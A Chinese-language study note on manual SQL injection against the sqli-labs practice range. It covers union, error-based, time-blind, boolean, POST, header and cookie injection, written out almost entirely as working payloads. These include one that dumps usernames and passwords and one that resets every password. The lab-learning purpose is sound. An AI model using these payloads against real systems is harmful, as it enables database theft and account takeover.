ps:
整理了一下手工注入的方式,靶场地址
http://www.wangehacker.cn/sqli-labs/
针对手工注入的测试基本流程:
基本流程分为四步走
首先我们需要查询数据库名
http://www.wangehacker.cn/sqli-labs/Less-4/?id=-1") union select 1,database(),3 --+
然后是查询表名
id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 --+
第三步查询列名
id=-1' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1 --+
最后一步爆列的具体内容
id=-1' union select 1,group_concat(username,password),3 from users --+
针对手工注入的报错注入:
下面的基本上都是按照四步走方式
爆出库名
index.php?id=2' AND (select 1 from (select count(*),concat(0x3a,0x3a,(database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+
爆出表名
index.php?id=2' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+
----------
报错注入建议使用下面的两种(我这里推荐第二种)
简单高效:
' and extractvalue(1,concat(0x7e,(database()),0x7e)) --+
' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
针对手工注入的时间盲注:
http://www.wangehacker.cn/sqli-labs/Less-9/?id=1' and if((select (substr(database(),1,1))="s") ,sleep(5), null)--+
时间盲注主要涉及三个函数,if、substr、sleep,有的时候可根据情况加上ascii进行编码猜解。
验证方式使用下面的
id=2' and sleep(5) --+
说明可以睡觉
同样我们使用四步走流程
第一步猜解库名,这里知道了所以直接猜解,否则需使用substr截取一个个
字母猜解,这里实战直接上工具就好。
id=2' and if((select database())="security",sleep(5),null) --+
第二步
id=2' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(5),null) --+
布尔型注入:
?id=2' and 0 --+
?id=2' and 1<2 --+
判断一下后面是否可以夹带私货
小知识:
select length(database());
取出数据库库名,并且判断有几个字
select substr(database(),1,1);
截取数据库库名,从第1个字开始截取,截取1个
select ascii(substr(database(),1,1));
截取出来的字,使用ascii码编码
select ascii(substr(database(),1,1)) < 100;
实战:
id=1' and (select ascii(substr(database(),1,1))) < 115 --+
走四步走流程
id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))) < 115 --+
手工注入post盲注:
方法1:
这里的几个都是直接在源码中执行的语句猜测,需要稍作修改才能用到实战中。
select username,password from table1 where username='$u' and password='$p' limit 0,1;
select username,password from table1 where username=' ' or 1=1 # ' and password='123' limit 0,1;
select username,password from table1 where username=' ' or 1=1
select username,password from table1 where username=' ' union select 1,2 # ' and password='$p' limit 0,1;
方法2:
burp
抓包之后,send to repater
这里的注入点在post数据的用户名后面
uname=' union select 1,database() #&passwd=123&submit=Submit
=====================
post盲注
猜闭合方式
' or 1=1 #
用户名和密码都写!!!!
' or '1' = '1
时间盲注猜测:
select username,password from table1 where username='' or '1'='1
' and password='' or '1'='1' limit 0,1;
其实这里和上面的时间盲注基本没区别,就是加了一个ascii编码,具体可以百度ascii编码表对比。
admin' and if(ascii(substr(database(),1,1))=115,sleep(5),null) #
less-17修改密码,密码重置漏洞
(本题危害比较大)
update users set password='$p' where username='$u'
我们这里需要先输入用户名
admin
然后提交拦截之后在password值后面输入下面的参数
' or 1=1 #
会把数据库所有密码都改为1
less-18开始http头注入
这里是从user-agent开始注入的
网站源码数据库语句猜测
insert into 'security'.'某个表'(uagent,ipadd,username) values('浏览器信息','ip地址','用户名')
使用\ 判断单引号闭合,我们根据报错回显可以选择使用报错注入
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
网站源码的语句猜测:
insert into 'security'.'某个表'(uagent,ipadd,username) values('' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1','ip地址','用户名')
less-19referer注入:
这里步骤和上面差不多,区别几乎没有,只不过换成了referer数据头,换汤不换药,从右腿换左腿受伤了。
' and updatexml(1,concat(0x7e,(database()),0x7e),1) and 'or 1=1
less-20 cookie注入:
这里的注入其实就是换到了cookie这个地方,和上面语句上区别不大,按四步走策略就可以。
'and updatexml(1,concat(0x7e,(database()),0x7e),1)#
less-21cookie注入:
和20题没任何区别,就是需要base64编码,还有闭合方式变了,记得等于号后面都需要编码就行。
admin')and updatexml(1,concat(0x7e,(database()),0x7e),1) #加密成base64
less-22cookie注入:
又是一个一模一样的题目,就是闭合方式变一下,然后编码发送过去就可以了
admin7"and updatexml(1,concat(0x7e,(database()),0x7e),1)#
同样转成base64